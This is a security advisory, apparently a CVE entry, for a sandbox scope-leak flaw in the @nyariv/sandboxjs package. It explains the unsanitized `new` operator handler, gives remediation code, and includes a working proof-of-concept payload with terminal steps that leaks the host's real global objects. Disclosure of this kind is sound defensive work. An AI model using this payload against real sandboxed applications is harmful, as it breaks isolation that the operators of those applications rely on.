CVE-2026-34217

Description

## Description A scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. ## Vulnerable Code Location ### Primary: The `New` Operator Handler **File**: `src/executor.ts`, lines 1275-1280 ```typescript addOps<new (...args: unknown[]) => unknown, unknown[]>( LispType.New, ({ done, a, b, context }) => { if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) { throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`); } done(undefined, new a(...b)); // ← b is NOT sanitized, return is NOT sanitized }, ); ``` This handler has **two missing sanitization steps**: 1. **Arguments (`b`) are not passed through `valueOrProp()`** - Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values. 2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** - The constructed object is returned directly to the execution tree without any sanitization. ### Comparison: The `Call` Handler (Correctly Implemented) **File**: `src/executor.ts`, lines 493-605 ```typescript addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => { // ... const vals = b .map((item) => { if (item instanceof SpreadArray) { return [...item.item]; } else { return [item]; } }) .flat() .map((item) => valueOrProp(item, context)); // ← Arguments ARE sanitized // ... let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals)); ret = getGlobalProp(ret, context) || ret; // ← Return IS sanitized sanitizeArray(ret, context); // ← Return IS sanitized done(undefined, ret); }); ``` The `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither. --- ## Why This Is Vulnerable ### Step 1: What is a Prop Object? The sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565-582). A `Prop` has: ```typescript class Prop { context: any; // The object the property belongs to prop: PropertyKey; // The property name isConst: boolean; isGlobal: boolean; isVariable: boolean; } ``` When sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, 'isNaN')`. The `context` field is a direct reference to the scope's variable storage object. ### Step 2: What is in `scope.allVars`? At the global scope level, `scope.allVars` is the same object as `options.globals` - the SAFE_GLOBALS object containing: ```javascript { globalThis: <real globalThis>, Function: <real Function constructor>, eval: <real eval function>, console: { log: console.log, ... }, Array, Object, Map, Set, Promise, Date, Error, RegExp, isNaN, parseInt, parseFloat, ... } ``` These are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map. ### Step 3: How the Prop Leaks Through `new` When sandboxed code executes `new Constructor(someVariable)`: 1. The interpreter evaluates `someVariable` - this produces a `Prop` object: `Prop(scope.allVars, 'someVariable')` 2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call) 3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function 4. Inside the constructor, the `Prop` is received as a named parameter 5. The constructor reads `arg.context` - this is the raw `scope.allVars` object containing all real globals 6. The constructor stores this reference: `this.scope = arg.context` 7. The constructed object is returned without sanitization ## Proof of Concept ### Step-by-Step Reproduction (Terminal) #### Step 1: Create a new directory and initialize ```bash mkdir sandboxjs-poc cd sandboxjs-poc npm init -y ``` #### Step 2: Set module type to ESM ```bash node -e "const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))" ``` #### Step 3: Install the vulnerable package ```bash npm install @nyariv/[email protected] ``` #### Step 4: Create the minimal exploit ```bash cat > exploit.mjs << 'EOF' import pkg from '@nyariv/sandboxjs'; const Sandbox = pkg.default || pkg; const sandbox = new Sandbox(); const {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run(); console.log(scope); EOF ``` #### Step 5: Run it ```bash node exploit.mjs ``` ## Impact An attacker who can control code executed inside the sandbox can modify scope variables above its current available scope The attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern. --- ## Suggested Remediation ### Fix 1: Sanitize New Handler Arguments (Critical) Add `valueOrProp()` to constructor arguments, matching the Call handler's behavior: ```typescript // src/executor.ts line 1275-1280 addOps<new (...args: unknown[]) => unknown, unknown[]>( LispType.New, ({ done, a, b, context }) => { if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) { throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`); } const sanitizedArgs = b.map((item) => valueOrProp(item, context)); const result = new a(...sanitizedArgs); const sanitized = getGlobalProp(result, context) || result; sanitizeArray(sanitized, context); done(undefined, sanitized); }, ); ``` ### Fix 2: Sanitize Sandbox Return Values (Defense in Depth) Add deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced. ### Fix 3: Freeze the Globals Object (Defense in Depth) Freeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak: ```typescript Object.freeze(options.globals); ```

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